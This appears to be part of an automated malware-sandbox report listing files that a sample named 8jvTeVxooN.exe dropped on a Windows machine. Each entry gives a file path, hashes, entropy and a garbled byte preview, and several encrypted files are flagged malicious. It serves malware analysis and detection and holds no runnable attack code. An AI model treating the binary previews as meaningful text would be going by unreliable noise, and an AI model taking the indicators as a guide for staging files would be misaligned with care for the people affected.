SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997968583179573
Encrypted:	true
SSDEEP:	1536:eyuYLKbI+JtT2Cc0u7BrQUgSTLCc1pNroydeqGXIettJSRKIvs:eycfT2DZlrQ1SZdOttEKL
MD5:	7C10FF8C630DF5145EE11FDE83E9AEE9
SHA1:	89B431C6FE97492193FDB632359D0C25EA307319
SHA-256:	A6E8C389B5059DA797D43D2D575033D49D1B2EFDA6CD6BB59A8C28BD94E4B1C4
SHA-512:	F7D4E33A6818C3DF5E80A9389E2F532AFF6AAF885ED50B1AA17D64A0002FB11D07B4C712E85CCCD053944D9A21E3C3BAFEFC4ED2DA2D9C2203B073B33B09780E
Malicious:	true
Preview:	'use .lt..?...u..m.f.b~.`W,......\u.._(.Lm... 8...$O..\|....N.{.\|....Q.<!...J_...C.64...$L,....{.l?.)...^...=W...3.}&.p.R..`...t&A./^.d6<.\|.J.h.../.2......j...........`mt.d..].........j2....F.m\.{.g%_.UM.7x_..v.....t....t.&y.....{l...g.j.\XQ.C.,7...i...G.haAbZ3q...._a7^....%.,_.p.<?......~n.L..!.b..;{.E/.{...F.u...9,....!.M:s.~2t..w.......O\|.`....zZh.y6....u=.t....m15....Uky.w.1...Y.....M>f..i\|.......'\.......b.h..K...rq/d..p.hW.v#.-......YK................HI.........NG..W;.Y..6.!..w.T.r..y.X_{...2m..8.1.._....G?../.?..@..,j$.d`m....F....... .....G?....V.d6.#.U.i...0.az......K...-).q.>S...V...7....#@Z.C. =....I.!.5....f.t....9^....@^..G)....U..........<.%.........cX.3.bqL..n...Ex..y..q..9D...!..."ty...pbt!...b.L#.#2..<H....S...i....z_.8..]....qE.2d.7.][]'.w.z...zYi....=.vD.r...R8....~....Mn.\.....8W.;.....l....T(..Kq....p.5...'nY`....}..sv.X....@3....0..bi....Y".k3&....Q.&B..9D....td.&............,...x..*p.<..H.+..qW>+06..........3./

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.994307813843004
Encrypted:	true
SSDEEP:	768:CX+HKmf7zOi96NAXlFGtlK29JwZlbRmT5b2hHWZFi9aWJR:CwR6Ef+NJyBRmFb2hHWQJR
MD5:	81A7A765544B9352ED5F5CA79F9AF17D
SHA1:	2671F8B20267495A88C076D99314B4205FDE302F
SHA-256:	AE8F307413A3601F27A53B6D5A4BE991655C8A2E38AD1DDE2B7DCD8D5403D015
SHA-512:	C831B05D13DD8F9E28F6FC25AD24CE1C5644AE95795463A4E5BAFDABA26938DBAA85290C95B6D3B27A3E47EA80E819B786666D4817D33B6C1751BCF6C0B04A5E
Malicious:	true
Preview:	'use .......2..Q.u.kOy.8.._.s..dG.\|.7.....'cNl..0...oj\|..!x.Z..I.9rS..3.....@.+.v..I3.5,....9H"..Q....p..].Y.l.. vp..:q..g....!....9..6A..Y.z<g.....u!(d...L.#n..+. Xv.,....H...8J3.l...o].M.S.U.[..........nEo9F.z..&O=...1&.k...d.#r.g.9...[0.......l.e.O.T4..?>..ej..(.Fa........U.a..Y...g.......0.s..4...C..2......r.~Q3[....i.....:&.8..V0..%.D...NO.C...HLm.}\Ou...p.F=9T...O......j...(E..Z.#s....Ych...s..Z@..)......3..O.6w4H.(..`..J" \: hj..8...+U..y.0)?..36K{W...../...V.2..?w&6.IW...<Z.?..?&..O:....t..iyh.c..m.,.,..('\|..0...xl......<.\|..~.../...CF0....U.+s......b.+....%.....%.-t .X~..s.]..l..:..05..Z-m..~.y...k1.....g..?..-,b.d.7k-..ew.{.I.c/...Y..c..d<....}.....P....J..2.=.c..$..e....U.P..ZX\-.._yy.. \|9...EokA...S.[.{.xD...</+.....P..U.$1.$$HFj..m..&.i.}J&..#.+..Pd`k......WF)ri.EB.0...\|.~......)f.^..L...t..y\N...H.k.....DbN....(#\|.I.sL...~y.f.4.C..F;.. ..}...e.q.G.....K....M.,.R\rN..J...-.f....B.F....v..<....^.'.2J.'Xa._........#.9.&

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.990286526700847
Encrypted:	true
SSDEEP:	384:UmzzIDRedWheT8HzBc0BdkgP6g52O6Z1PPqRz6F/4Gfhnj7tkU7xeeeb3uISpl:USziedWheTwxygPbEzZVu0/ZfVj17x+W
MD5:	F8947406B19B18985CE9BF0161815337
SHA1:	68C5C9BAA11317EB43F911FF0C85442079CCF57A
SHA-256:	4685E84A7D5F9D06134D0CA1002EAF8A2F51B3D83B17843E4613F3D34160FD4E
SHA-512:	A9CBE7431F7B2C084B2AB93C81D1E3FE6A3A272FC8FBD96D9F4F23AD2D4CA1D690911FAAD0C5BE38F9A15E82F16EA6C58A535D76A86051F55F5BE01322FD07B5
Malicious:	true
Preview:	.......O.>gAyL......c.+..z...[....t..z013.o.......)..........>.E..Z.....M...8:...5....i.3....V.G..'.........FkSo..D.&...L.KO)...P.....%..B..?.Jed.\|I..w......:k1Y......a.[.b.Lh..W.T.`'m..I].a...p...K......F.CM.rz+0.....C..x0..={+oE.d.-....U7....>.&+.M....V(.+....!6.CG.n.$+...QuV.-..U. p.(..2.Y4Q.`.[.......+...;..S}.Q.(..j......I.....H<..cjDUK..4i..TrDd..K...z..v..l,..,....~..{.^.."......w.+..H...I...i....p..Aj.i{C...>.1)Kh.3]....f.ax....OY9?~...<z<.\>i......GT.d#.........y.Gd..1lk.G..qD.O#.<.JB#9G...B.b.Pv.7.Y..3p....../,.z9..iR_u..U....7.s.J".....}...T... ..:#w...RO._4.....r...pQk...~. 7G...FkG..j..3....8..`...jB..._..c...u.....Cx.P...v.(}..;.......H....I.QI...../..oH<<....D\|.....l.\|O..f....m.(.q.k....Vh.X....=e@~...n..t'......e...f...ke...j.ZI.....r...T..]......O@iH. <...B...A...x..4...r..+..k.........'F.La..k...Q../..y.?..>40{..]\..&fx..*....vf.....v.D...........;..K.bxoC.5j...M.[...d.b....?..x..n.%o^._.i.1.7......Yn.h.'F..?.B.B......9(

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.888155961985997
Encrypted:	false
SSDEEP:	48:YFx8dejtDuozfPH25Dokx0AbYnSRaIWhb9D:W5AozfPW5Dokx0Ag
MD5:	18ACF723721AA401F826ED9DFA010341
SHA1:	3D40835155B110B6BCA44091119AE328BC8FFACA
SHA-256:	8E955C348C795DF622D93FB180F4F02155605F7A68FB46519DEC4C7F35081459
SHA-512:	928D1F594A0C2901387A95D518197A5AC138C8C3DADDD3288DF45EB6EAD89ED5EECD68AC4481F4B6747D68099132F5C8BB9E150A4ADC228096A6D3067325FBF0
Malicious:	false
Preview:	{"spo~ .O..t.Z..H.3..W.[.0(..C!4.......q.ZsEU. \N...Q.<...I...\|.TE_1....[T..u.'6.....r..M..;.+s+.e.,.X.o.^<.s..z.f..L..Od.g.Z.v.....z..{."s.t...5Q%[........FRM.."..jK.../..v..}......."L..g.s9v_..6..`....K/n...t0..1I.A....l.R9_..`...J[.t.S....M....t.2..!j".......@...r.!m.#...9...U_.C,ithX.a.\...Y9.W......>..zM..I..H..o.9.\|4.s..w.....h0w;..m,.mLh.1...b..].....m8...+^..v.....^0-..x......u<S.5r.W(F.&.e.N.........'2..&.....U/.o........i..3B.".BWV@..H..TV.W\a....V:;pSgr..o3.......+..+6.A..x.l.e..kjx..8u..Dm../.e...=....Sl...,...,..,.0....yGA..q..s..4....~.H..zi;....".."..:...., .y c(..n....7...W........(......oFO...n.$F6...R.....f.}..d@...yz....y......%..F2%.\..IR.2r:.E.zl.Ij.8"...M7.....x.v$.....<....>r9....!..W...`).\c....U...".t&ELt.A...J..R...=6.A.K...b..s.............dc.v.7..JBV../.o.k..3`.+.-..R..p. ..G...5%.o..))zd.......n..Y......?...J...Di...=.3...=..x!h;:...=kx3K..e..T...Y.(N..._....j[....D..H.4.j...{..H.......Y[`......)#..f..jy.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.075825483366879
Encrypted:	false
SSDEEP:	12288:Wy8mqK0Kf4C4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiqAg+Xp:WyVf3cGGR7l/bqs6BjUNR+B
MD5:	4605CAE0D378B116357F75BF996D0F8D
SHA1:	1F5710699A62AEDAD7A06B6CFA49D41985300084
SHA-256:	76E044E667B08B0B9F080F7A315A94EF616C034054397B19426A4277D56F01D3
SHA-512:	C6D534CC893AE3D3EE33C72DCDC0BFD33C637F5B7EAB37B77D526A310FB311FC7D2251DACB4D50E65DE422DEBAED2944F12AA61FFB48B4A7C18C85E4A01F67BF
Malicious:	false
Preview:	mozXD..c.q.E.I.5._..F..Nm.:......5w.mh:...hP....,...R]..K....V...g.O.G.Wv)......3......._......i.(.5.(S^/10...;.M\Yy..R..xl.U.....m...`7......z@J...k.`V...."CQ...O.pC.{.6.2.Eo.cU....&F)...u.%.a.#...SX.....96.u.....d4...cC..."W..+=.............i.v!L...58I..2W...$]......,6{Q5..p.w2.(.5\|u.^[......IR;m$..;.G.!F.!..2s.h....:..VHw.C."4..\.,./......u.=.-7.K.w....d...J^............U"......C.....`..XnkOX...&mN6...I...1.t#...e.+...).D..g.^....\.....+....Yn...7N...K..].X...kKqr...r.........yR.....~o..k....V_.3......(...-....t.E0.".c..._.u.d.`.bw..>r#3.z.:=.fS;.G...8........wgs.m......,..Y.M....f..o.......s2D..G].).y..0'....,....Z...o...l.W... ... Y.=`y.C$ ...Da..SR........D..a...4.....I.........J....KcF.u...Te.......L.32.....h.........h..0..,4j.U.. J\|..8'.._.8....j..v~.l~.$~.I..V.9<Dc.Bp.......Y4.Q{...`.a.?.)...ca<..Z^yv6 ..C....0eAO...9W......Em..`..,....%c..6r!;f."....I.!..>.o.....5.M..D.}\......]E7~.)h.5.....r.C.$../Y...Uo..bl.0O.g.Yu_..[.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.8028279483324585
Encrypted:	false
SSDEEP:	49152:yMouwTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BLl:yhzv8EW5IdVgdy6gn/SSyal+rPJ
MD5:	18F49E9A9E9123D1DF02ACA9465319BE
SHA1:	617A2D9B5B171000845F6BE5F8FF427A886D4FBB
SHA-256:	1F54637344E7A713DF7F9523502DD8AFF3CFD18D2ECBF731AF8598AC155BA80B
SHA-512:	966390520149222F5AF3FF15D6CFA0EC6EB288C7CFEBDB3E9B5852049E3C5B927845D9A63ECF0848F8A999B772D4B6A6D5DA49CF6F29A295E52663A3EF1F57EE
Malicious:	false
Preview:	mozXD.....4..e...>D.K...\\|h:.......+...w..^k8]_...a..,M%@`9..4...Vu.bJ.pY...!J.#.l.uF,.xb....F..{.....J..Vt.0{)..Z.K...u... .A...-...\.._.......4...Xpa......k.W..9...G.-...D.J.$.....z.7P.z...>.../....Z....;..rS..v..........m.P..F.Nb.....e........`....lm.f.kv.......V.G..b\.....o.x..u.;.?.D.F...n7T.....>.Y.V!.0e....V.mj@....iZ..l..}m.s...../.........9......f...i.u.. .Y...q...$..........(uq.,..Xz`C.0(h/#..CN.m.sSA.._4E.6@....50iH.yYs..8.B(...B.O.V....>..........^.M....B.E.....\-....U[k.....K:.l.M&...(.....\| . ...7.g...V.P..j.C...TM..A.?..m...kwR?.\..j"H.....>t.LD....U...Z2?..M..S..6....^....\|s.4v..P.-. ...b.TM...(0..y....G4.Y\|.6.bS.....7....`.....q.....+........i;<.`.Bmu;......a,[....P.=X...Af.....3....0......M. ...._e.5..C..R.Mo.}..........3.$..^%H.DG..Q..UC..b.U.D.,.R.!Mw..^9...K...JA..#.?.......9.i3..A5..]...X;-R.].s.Jb..X.,.a..(...8..rm..('>\|v9.I'...j..P.X.....%.{.m.... %.2..=.A.K:.W..U....Y..g..^.(q.!...s.]o....'.T...x... 6#.m...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998814012107443
Encrypted:	false
SSDEEP:	24576:7dSezGn16U1EY2M9Ooj6HoMllbQkvFLqLhjYOC5QSbs9fmadKzz/we3qR3omqfkD:8BoM99IrJxEhfSI9CyYlNjcHu/Eko
MD5:	245F0DB657DE1AA2F4CFDCFCD9B43291
SHA1:	40A758AC283DD58FB493A16D748519D265292CBC
SHA-256:	CF1558C15AAB3BA2D4BF69E4707B2F221FF07E1582EEF708D404BA1D893D5431
SHA-512:	F355601D9EEB37D0773681B58251EFA4878FB86F6B9A8084F2046505F24DF71A4E751D354D0EE5D1F3739EAAB2CA0A2AF7837B71AF19D023D887DCA0F53AC5C7
Malicious:	false
Preview:	start..h]t......TG2...O.f. &..Z........V..31..q.q.d(c..;:.#.N\|.Cp...:.9...0. ..p.r.5.).r.s..!b6....<I$'.m.C!D..[,.......{....ND.N8..f.....P.M^.g..(.T]).j.co...A.LI....;_...hN...q..q...".B.L.G...D...v...[.v.....=.+..i\|E9`..-N...)`\~....ZWAt`.t]O9..gY..d..c..{.1....?..4~&..6`.T.I....`.....#s.h..B.Oj<...d.(.G.....]h.......S+.1y[.E8G.>.$J..4T.=....P......y...4......h8.i.....V..i..d...z.\.S..U...O~'@.z....IF....<8...e..E,r.......i#.?^....H..}.m\.X.s..S>...E.c@8....-.D..A.........v>.....w.<Mk.......na....p..[..s.........b....}...f.....nP6.Q.u...y2...'..y.s..\|...\O.D%..T....#..E'AH......\|f...R........@_.........P.Q...w)..4.~tt.q..d.W.18...R.4.......v.y..g..y..v.AV....jM...1P[.$.\...vbt..wNp....j.c..g.u..Y...I.....R.R..0.!.K..l.....9P....._.l.K.X..K:.B.E\|(.q....M...9l.~?...w~8K~8g.yu...-....f.V.....;-..H..z.(.Pvj"...%..........+..O.R...].......dH.....Z.$%..RB.\.0.a.B..T.pH.:.!.[.1..o..s}g...u..."HW......j_.~.?[.E)4.../.u.......!K.....6\.MU~.M.4z..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.940161196065392
Encrypted:	false
SSDEEP:	48:Q7lL+xotWtOYC2IUSg0bVrD1pe9nnMoaPmzWcBVYETv7VyG7tQLEhP1OT6QUDCZ/:QRL+ptOoIUSFFeRfaPmzWcBVYELRyZw+
MD5:	D3DD7506C19320EFD69684372B5B0EFF
SHA1:	FD7A1925A6B97A9A5198EFF923E49B91A1113F83
SHA-256:	8E1EBA757C067C0F6F95F78540AF4B44D7ED1D4724A05DEFFD1854B4BF8B54A6
SHA-512:	7901FF91AF011497651C9B7F431649F3937A2AEC77BEC7EC859E02C4E8464786A101B0AF80437AAC99BB5D258A9622114EFDD78316A8ABDCB5AEE333C229698F
Malicious:	false
Preview:	mozUR.WE...z.bH'a...L..3..QIO!......<s...../[$..%...u.`.0.:.....y...W0N......W.Q ..&......^.\[.6`......Q..Q.G..........\|.zB.@.......<......cqk.x.....o.....F.p..`....n...........I.'.....'1...}...'.3.......`..<...r....X...L.=b.6..0........%.....e^8F.V...A:.492....#vw........kx+..).Z.!/E......W.{......f5......!sV.....5.PT...o..q.GuV)%....Gw.2.R...e..!....T....mx\1..V..Zf...^.....gy...M.l.0@#?...%.%`zn4B...%.j..J..a....[.=b....9...@.l...<%j..zy..W.s.c..^=..........@Uw.....Z.;1\.c..m..&c.r_.....Z.......d......!..J..W..J..yd....H/f....j9.[..[O2A.K.4....qM.u.n..p..<._ff...\.l+......\|...Y.....k.gh..t.....]P.N..X....$!..~..o}9(7KC.G...^.`R.&...;.4..KE...Q.XmY.......gS....ks.;5T..%Y.?..%`.....Z^\|f'.r .t.a.. 8o.....!,.o..Tz..9.......[....xO..\|kSj.K...p..y.]3.-....Q......B.i.}'K.......~....,.d..V....p..a.W.K.Z.i..S#....t..(.;[..g.....dD#.478....#....@.S.......79...F.C.......*0..@.. ....'pUu.A....U.x.7^.5#7q........0...J.b..._.TR....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.950305044954604
Encrypted:	false
SSDEEP:	48:EO4PmNA2IS6U9Uj4KfqdQPXtXPZafdm8A8TJkz4HGiIyO3lfOYxaL1Rxbub2G0AM:z4A2SVyf8+lZat+zgTO1fj2qEFD
MD5:	25964C0C76C582E368EED6EDBC736138
SHA1:	B7DD6EBB4D30E03BEC25D4880387CC487E96592C
SHA-256:	CBAB7FCA916E8CF0EB171E353AF226E7F9898C945095CA6ED271CE3FA83E0F16
SHA-512:	5922621E8A7539ABCD0404D1E2322D08CA977225107EB0B39B94BB69C09B3E9BF9AD4A04C17A15B5151C10357B31D0D782AC08AEA8D051347DFA6721813C1E3A
Malicious:	false
Preview:	mozUR.K.sj........P.CY....".kwTa..E.V.]-w.n....7"..m..T............O..i.Y8.B.p...t..........3..A..=...vU.. .............f....f...O..<O.&..r..L..4....r..........Ba;W.}M.p.i...#X.K.-....P....Q.0R..b..[.m\|7..)`.@.Tug..4.KZ....Rl.B@.......)..;x.o!.0N>]WL...fr..Z\,9.. l...^.o.T.p...da..?hx...9........qC.....9....'e[.d......m....: iQ.)..T]..^..&...\|....v...I...s.>DC..G........W...;....fx..$Tqc4S..l...;f..+U...H.]......mP/.c..Z..V.I5. ........Y..j....(..!V.q.WK .U..G.F..gf9.......>g.....d.......LKR.m...8}4..zp..3M6.X..f....'5..\...%.......u..{.,.j<:..'...H.FfE......;jh\........7D...B.X_2.Y.. ...\|.3...'..:.........`.E.'.....d.N...:........wz...qM?..X..P..T.Q.....$0P2..Ir9..........zS.<.2....D..A....w.....3...).5....N..F..Q/........./~:...-./..,Z.U_N.....9C7..m...]?<.!.0.]}....3.....%.."2.R.b..r....&E....4.><@.......f....7...zpo.z....k ....LoZ.L..V..&W....G0;......a\.e.d..n.?r\..LQc....>i-c.:\|.....Y...}f/....3.L&.U.. 5.r.KDQ)V.H.....c;e..N

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998176663755762
Encrypted:	true
SSDEEP:	3072:6Gu7XgtAD+h6vXlXt1BIKVUNvsMxtvz2R01TXHtqKP6:6GmXzDx1d1aKV8/v1RXHcKP6
MD5:	D28FBA775C6413DB21F239ED43EE9C5B
SHA1:	C7E90816122A13DDC75F2C260D1971488833184D
SHA-256:	CEF5302AD7701B334DC2C2CEB514B54C3654838F37A26FFC71283F0916FD32F3
SHA-512:	D2DA32914B6C2D8D55B06133C4D1BD8AC9B0ED4D8CF3FCE59E68A046DD14819B0B7C5F519D8830AEBBFFBDF113EBF95B04E9A5D3A650A9233448ED90B3A3DB19
Malicious:	true
Preview:	mozJS.../.... ...e,V~.1....9...x..\|.(. ..~..L...6.#.M.}B.Ef..J..F...Nw'<,.P.K.uo.NI.n.XQ..R9....hS....R...cd..YX......W... ...#.........x../&...i...+........[.-..Pb...R<...#28.{...r.....k...#22. .j......h.."..S..E..t6.Fq......../f6.f.n....=......,_~..!s...{.......E)$xc..[.i....P......>.......Y....AQ.0n.2..w").X..\|h.=..\..y .[...X..`5,.]BX....K.{Ps..#\|Ei.V..M..]i..gz. .v*&..b.LZTcm5O..<....F6.......x{..3...O...q..$..9<.i,.kv......W...3o4^b...$...iD1l#...X ..i.P).8].Ps.Ok!/..=.4..wI.mP.}.v#;5.-4..}6..:5.:....1.....Q.iq.Q..,...Jn...2.....=.`y.3o/.._8..b...e.......N.y.V.#rg.;P.E..S....Y...%h.C/..S....(.....i.'L.....7I.y..m#i....Q)5...gB.Wz.7kP..t9._.#.....X..p.hw.....F..o.PTE..8....b4..=..3.-f_.^.F'...>...y..z...e9.O..)B...p#m.>.........Ld...v...L...l.A].t. ..u.<.F...G,.q. ...a..Su....Zyl....'..U.6.3&...%....y.n......D.}g.L[.~..$.....&.f.E.'.....C..O.6 B.{.8!.n........bT.A.[.4..pM3.S.....:),...8X.D...Jb..0<i.v....V.v.5.W.Y#.....xh...

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97846590359693
Encrypted:	false
SSDEEP:	192:QI0m8WYqlBhRWkZdVUoZPUuteXYdq2YHP/6cYtH3//CTaL:V0mr37hRrZbUOcut0+QxwH3CTs
MD5:	FD0BE0A1F8B76D2BAFA12B47837FD3CC
SHA1:	EB95ADD5761C8DA9AEDC50E23B0B89D3AFAA0A4D
SHA-256:	46B7B72D353069BB41702D86318247270BC848E26D76EC69771C78BD656BBCD5
SHA-512:	4CAFF9272404A7C73486A0621786E994B78C2FA42570FFBCBE0A89FA41C7952174E391235607C78D24455413EC1C0B4D397F560E2E7394468800811C972FD396
Malicious:	false
Preview:	regf....)..N.~....6.........../.I.I.4...j...e..b...5N.VA..4.......K.ya.mD...w......-YG....;c;Jl.N........@0.......)......y..F...(9...[.R..?..r...+az...l.`j.j.,bW....{..b.J.E....Xi..1..o.}.1.....KZ...!..`..W..^.?~...;8]...SjL.o.m....A.91Gz......).N$.:..Kj.......P.q..BF...x.t....&...>.\|G.`..?.E... ....2.g.VeN.....t...6-K..E._.<.....{.e. .c.^...9<....8...../...n..C.D._^.X.G.Z.N.GH... .dl.L.>...k....}.#.K..;:f.#.4S+.=.., u..D...;d].......S........e.....W....d.....[....Z.....~.a.lo...x.%q.......3... .... \.1..o.Xf....v.........m..e........-^.M@\.3.3...F..t....Gr.Y..d.7q.N.5J.8.....f......9..U2.L5.k .:~...p....[.g.g.X.9..2.F....b6....j..n....CP[{..l.G.....e...&..=.{=0.`H.8......0....L...`...s...qh..].3.....s....vr.....:.5..Q.E.g.h.q..M2..{Q.<@..)W2.{.o..v..[5<..![...]...n.`.#..Bb......\|...v.......>o.+.j.,%.{'..d..\|5...%...l...7..Jk..q.W.g..I...y...a...-sF.Rf(.O.=..0..5...../Z8...V;y.4..~....&...1.nb.R;.*7.B'.}....Y........

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978865116392846
Encrypted:	false
SSDEEP:	192:RPQd9Xq/ugxzH7g3gPenvCyxLpI8WpnpjbQToYPDSYXGBd:RId9XqbDUQPqvCyxdehFbiDSX
MD5:	7F1B6A7B2DC869B2F8CAFE08577AD53A
SHA1:	C94FDB77E45246BEB259A8FB2676ACC870F56DB3
SHA-256:	67FBC4CFE2DFCEFCCA1EC91FCDB6C9C93C6F05BB672A45F91C7FB54EDB494E23
SHA-512:	CB33E050F126E1686487B91CA68D8C347E5689AF85268902FEC0797D6A19F0729BAF2864385D31C276E0CDF79A20F63FF66C95F429C0FB2A73FF233C5731C5D3
Malicious:	false
Preview:	regf......c.2..tQ..8..KsC.............H..D;. ....T..,..t.=..>$.T$.~......d.......t.........OY..i/e..M.Ig.R._.i...?.>i..v%?u.sA"....Hx:x......y.[e.)o....l...._....=....H.M..{.6...epk@...m.>^.68.wvT.r'DF.n..L..9..B!.f.6...r..nMt....z..K....Gj..A.>~Z<...I.d\lO.}.....E....@.TV...8r}........M..;.c.B.<y<VS[....W.. ..Q.....Y....Y-._W.K...52........mvz....(.a...C..S....,d...y......M.%/..i...c:..:9...S{N.[F.U....CB...tO..e/s...u...........].Z.!....E.S..7....{9....H.+.~.q.=..-Y>.......A.........fc....j.[....(..=[o.E.0.jr..>\|&....i....W..%... .....o.\|..9k..../.f.6..D........RV.....CX5.F.L.V...W..HB.d.5......#..T.q......w...a.....0..E...K(............d..t....Bj...`!....y..{.O.6j..........U.d..&.6[LgO..g3x.q!....\|.K....T)9A.Q..7....71.c...P....S&.5&....%q.....Z-~bSK............[lk...3.:}7.}~"..)B.....H.Ql..j.#P.....-......Y.L....E8.ea.."..D.b.8..@.?Q..A..k..].,.u..S+....l.Kj.C.n_....K.....)..Mg....`..p.]l8j.'1>....M....T#?..q../B.-.}.y.'

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980886242773491
Encrypted:	false
SSDEEP:	192:7RlM1YRzIzMJFZLWYPTJ1Y3iuOEHbIjl54r5RaCKtPF:tlM1YRMzMDZK33TDEjl2r5RaCE
MD5:	DAE5B65BD0255B1821CB743986C9C87C
SHA1:	4F56AE9F6D07B4A3EF149D08AC088E17B277BC89
SHA-256:	80F95E825CB07D35300F32977FB7EC43131FD27F73A19FF0DAAA74318A0F451A
SHA-512:	844DA17A4CCF3A81508BE0B0BE0459031E28B69B65B67946AB1A19F1CED82E8072FFABCDDA5022B6C298960783C2965022B798F0F076FDC0566B5A15ADA0BF2A
Malicious:	false
Preview:	regf...n.E.G^.>fo..M.......q=.....?..Bf.#...%.d7C...mPx).t.D`2p.......WG]..j...a.t..g..:$..B.q.k.HJ.W.0.neu.a..l.-/..l....x..S.'..H...5W"...uo3.}Y(...Tn..3........h..B...FL'......g.g.....%..c..q...=..=\.m...%..;u.......9...T..+J.hjJv..Z...e{.o...17..{..;.....[z3J..hf%}>.).K.0..p.^.X...XsB.....o2.9z..Y.UL2..v....Iy.....j.]e.TV..B..:..,.G..zk3N.I."....?...87P?_!.D._.......y`..-Q\.......+t..ci..HX%...`.4...@...th...O..`...S..0......`.S<eN...K)....g..M.?.L..~...8....Y-.{wo..h...k?.9_.....G....%.v...:...Sa.}..Y.?E.".9o.........@}?.u..r..@\|).U..Xd_..).4...).T...K4Fh......tdN.i..c......g.....2:..H...X.}.........Z...'.....X.$.T........a9+q...H...6...t......V.L.4....)..X.OmRt8...y....u0...^IAj(f~I..G..3.oy.le..~I.n.Z.W.M...}D,w. .."a%....%.mh..y.b.3..B..w.T..T6.KR.%..BfU.@...U.z...e....t..I........._%..f...-.g..Q..qq...7..cc.{!?r[..&.=..LQ...._.].2y!7~..]b..Ih .i.H...gr,.....l."pnJ,`xZg..Vk.=pG,;.mCS..~...?.}...1*.p.r....._f.../..I.D.4J(.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.927010183893737
Encrypted:	false
SSDEEP:	48:zfREY8DDSQa9SRGQJMWlw2EpzFYa5K49Se0D42PRRhx07jMEgtVnD:zfWY8DDSQBRGQJMWezFYQK+2PRjxshgH
MD5:	178163B7C1186CEBD8AD978AB3BD50CC
SHA1:	BCA525F19BE0A593976A18605218A50FAF8A5BF6
SHA-256:	5D71F9560BD2EA8B633669C45359877AD6EBD2E5D73B0A44606E76353D414D94
